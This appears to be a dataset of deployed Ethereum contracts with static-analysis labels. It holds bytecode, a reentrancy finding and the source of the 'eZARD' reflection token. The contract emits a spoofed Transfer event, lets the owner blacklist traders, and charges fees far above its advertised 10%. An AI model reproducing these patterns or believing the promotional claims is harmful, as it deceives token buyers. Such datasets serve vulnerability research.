61bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610544565b6001600160a01b0382166113205760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610544565b600081116113825760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610544565b6002600c55600a600d55601154600160a01b900460ff166113e3576011546001600160a01b03838116911614156113e35760405162461bcd60e51b815260206004820152600560248201526422a92927a960d91b6044820152606401610544565b6000546001600160a01b0384811691161480159061140f57506000546001600160a01b03838116911614155b156115ee576001600160a01b03831660009081526006602052604090205460ff1615801561145657506001600160a01b03821660009081526006602052604090205460ff16155b61145f57600080fd5b6011546001600160a01b03848116911614801561148a57506010546001600160a01b03838116911614155b80156114af57506001600160a01b03821660009081526005602052604090205460ff16155b80156114c45750601154600160c01b900460ff165b15611521576012548111156114d857600080fd5b6001600160a01b03821660009081526009602052604090205442116114fc57600080fd5b61150742601e61215c565b6001600160a01b0383166000908152600960205260409020555b6011546001600160a01b03838116911614801561154c57506010546001600160a01b03848116911614155b801561157157506001600160a01b03831660009081526005602052604090205460ff16155b15611581576002600c55600a600d555b600061158c30610acd565b601154909150600160b01b900460ff161580156115b757506011546001600160a01b03858116911614155b80156115cc5750601154600160b81b900460ff165b156115ec576115da81611633565b4780156115ea576115ea47611867565b505b505b61070683838361185c565b6000818484111561161d5760405162461bcd60e51b8152600401610544919061200f565b50600061162a84866121b3565b95945050505050565b6011805460ff60b01b1916600160b01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061168957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156116dd57600080fd5b505afa1580156116f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117159190611ddc565b8160018151811061173657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260105461175c9130911684611136565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790611795908590600090869030904290600401612097565b600060405180830381600087803b1580156117af57600080fd5b505af11580156117c3573d6000803e3d6000fd5b50506011805460ff60b01b1916905550505050565b6000600a5482111561183f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610544565b60006118496118ec565b9050611855838261190f565b9392505050565b610706838383611951565b600e546001600160a01b03166108fc61188183600261190f565b6040518115909202916000818181858888f193505050501580156118a9573d6000803e3d6000fd5b50600f546001600160a01b03166108fc6118c483600261190f565b6040518115909202916000818181858888f1935050505015801561091f573d6000803e3d6000fd5b60008060006118f9611a48565b9092509050611908828261190f565b9250505090565b600061185583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a8a565b60008060008060008061196387611ab8565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119959087611b15565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546119c49086611b57565b6001600160a01b0389166000908152600260205260409020556119e681611bb6565b6119f08483611c00565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a3591815260200190565b60405180910390a3505050505050505050565b600a546000908190683635c9adc5dea00000611a64828261190f565b821015611a81575050600a5492683635c9adc5dea0000092509050565b90939092509050565b60008183611aab5760405162461bcd60e51b8152600401610544919061200f565b50600061162a8486612174565b6000806000806000806000806000611ad58a600c54600d54611c24565b9250925092506000611ae56118ec565b90506000806000611af88e878787611c79565b919e509c509a509598509396509194505050505091939550919395565b600061185583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115f9565b600080611b64838561215c565b9050838110156118555760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610544565b6000611bc06118ec565b90506000611bce8383611cc9565b30600090815260026020526040902054909150611beb9082611b57565b30600090815260026020526040902055505050565b600a54611c0d9083611b15565b600a55600b54611c1d9082611b57565b600b555050565b6000808080611c3e6064611c388989611cc9565b9061190f565b90506000611c516064611c388a89611cc9565b90506000611c6982611c638b86611b15565b90611b15565b9992985090965090945050505050565b6000808080611c888886611cc9565b90506000611c968887611cc9565b90506000611ca48888611cc9565b90506000611cb682611c638686611b15565b939b939a50919850919650505050505050565b600082611cd85750600061057a565b6000611ce48385612194565b905082611cf18583612174565b146118555760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610544565b600082601f830112611d58578081fd5b81356020611d6d611d6883612138565b612107565b80838252828201915082860187848660051b8901011115611d8c578586fd5b855b85811015611db3578135611da181612211565b84529284019290840190600101611d8e565b5090979650505050505050565b600060208284031215611dd1578081fd5b813561185581612211565b600060208284031215611ded578081fd5b815161185581612211565b60008060408385031215611e0a578081fd5b8235611e1581612211565b91506020830135611e2581612211565b809150509250929050565b600080600060608486031215611e44578081fd5b8335611e4f81612211565b92506020840135611e5f81612211565b929592945050506040919091013590565b60008060408385031215611e82578182fd5b8235611e8d81612211565b946020939093013593505050565b600060208284031215611eac578081fd5b813567ffffffffffffffff811115611ec2578182fd5b611ece84828501611d48565b949350505050565b60008060408385031215611ee8578182fd5b823567ffffffffffffffff80821115611eff578384fd5b611f0b86838701611d48565b9350602091508185013581811115611f21578384fd5b85019050601f81018613611f33578283fd5b8035611f41611d6882612138565b80828252848201915084840189868560051b8701011115611f60578687fd5b8694505b83851015611f82578035835260019490940193918501918501611f64565b5080955050505050509250929050565b600060208284031215611fa3578081fd5b813561185581612226565b600060208284031215611fbf578081fd5b815161185581612226565b600060208284031215611fdb578081fd5b5035919050565b600080600060608486031215611ff6578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561203b5785810183015185820160400152820161201f565b8181111561204c5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156120e65784516001600160a01b0316835293830193918301916001016120c1565b50506001600160a01b03969096166060850152505050608001529392505050565b604051601f8201601f1916810167ffffffffffffffff81118282101715612130576121306121fb565b604052919050565b600067ffffffffffffffff821115612152576121526121fb565b5060051b60200190565b6000821982111561216f5761216f6121e5565b500190565b60008261218f57634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156121ae576121ae6121e5565b500290565b6000828210156121c5576121c56121e5565b500390565b60006000198214156121de576121de6121e5565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461095957600080fd5b801515811461095957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e85e9e9e413cc9c3ebc548a43e275ce3b3e7579be960497eae8bbcfdf70baa7164736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 1,422 |
0x6E42A6748F5eC8b5b22aF1dDc67101381be13C3F | /**
*Submitted for verification at Etherscan.io on 2021-06-02
*/
/*
."-,.__
`. `. ,
.--' .._,'"-' `.
. .' `'
`. / ,'
` '--. ,-"'
`"` | \
-. \, |
`--Y.' ___.
\ L._, \
_., `. < <\ _
,' ' `, `. | \ ( `
../, `. ` | .\`. \ \_
,' ,.. . _.,' ||\l ) '".
, ,' \ ,'.-.`-._,' | . _._`.
,' / \ \ `' ' `--/ | \ / / ..\
.' / \ . |\__ - _ ,'` ` / / `.`.
| ' .. `-...-" | `-' / / . `.
| / |L__ | | / / `. `.
, / . . | | / / ` `
/ / ,. ,`._ `-_ | | _ ,-' / ` \
/ . \"`_/. `-_ \_,. ,' +-' `-' _, ..,-. \`.
. ' .-f ,' ` '. \__.---' _ .' ' \ \
' / `.' l .' / \.. ,_|/ `. ,'` L`
|' _.-""` `. \ _,' ` \ `.___`.'"`-. , | | | \
|| ,' `. `. ' _,...._ ` | `/ ' | ' .|
|| ,' `. ;.,.---' ,' `. `.. `-' .-' /_ .' ;_ ||
|| ' V / / ` | ` ,' ,' '. ! `. ||
||/ _,-------7 ' . | `-' l / `||
. | ,' .- ,' || | .-. `. .' ||
`' ,' `".' | | `. '. -.' `'
/ ,' | |,' \-.._,.'/'
. / . . \ .''
.`. | `. / :_,'.'
\ `...\ _ ,'-. .' /_.-'
`-.__ `, `' . _.>----''. _ __ /
.' /"' | "' '_
/_|.-'\ ,". '.'`__'-( \
/ ,"'"\,' `/ `-.|"
Welcome to eZARD fair launch 100% community owned
Join our telegram
https://t.me/ethereumcharizard
Tokenomics
✅ 1,000,000,000,000 Total Supply
✅ 15% Burned before launch
✅ Buy limit at start of 4,250,000,000 tokens will be removed shortly after launch
✅ No bogus presale or dev wallets 100% community owned
✅ 10% Redistribution you earn tokens the longer you hold
✅ 30 Second cooldown timer on unique addresses you will only be able to buy once every 30 seconds per address
✅Cooldown of 30 seconds between buying and being able to sell will be removed shortly after launch
✅Bots blacklisted prior to launch + heavy anti bot measures no whales
SPDX-License-Identifier:
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract eZARD is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Ethereum Charizard";
string private constant _symbol = 'eZARD';
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 9;
_teamFee = 9;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 15;
_teamFee = 15;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 4.25e9 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612dc8565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061290e565b61045e565b6040516101789190612dad565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f4a565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128bf565b61048d565b6040516101e09190612dad565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612831565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190612fbf565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061298b565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612831565b610783565b6040516102b19190612f4a565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612cdf565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612dc8565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061290e565b61098d565b60405161035b9190612dad565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061294a565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129dd565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612883565b61121a565b6040516104189190612f4a565b60405180910390f35b60606040518060400160405280601281526020017f457468657265756d2043686172697a6172640000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161365a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2c9092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612eaa565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612eaa565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611b90565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8b565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612eaa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f655a415244000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612eaa565b60405180910390fd5b60005b8151811015610af757600160066000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613260565b915050610a43565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611cf9565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612eaa565b60405180910390fd5b601160149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612f2a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061285a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061285a565b6040518363ffffffff1660e01b8152600401610e1f929190612cfa565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061285a565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612d4c565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a06565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550673afb087b876900006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612d23565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd91906129b4565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612eaa565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612e6a565b60405180910390fd5b6111d860646111ca83683635c9adc5dea00000611ff390919063ffffffff16565b61206e90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161120f9190612f4a565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f0a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612e2a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612f4a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff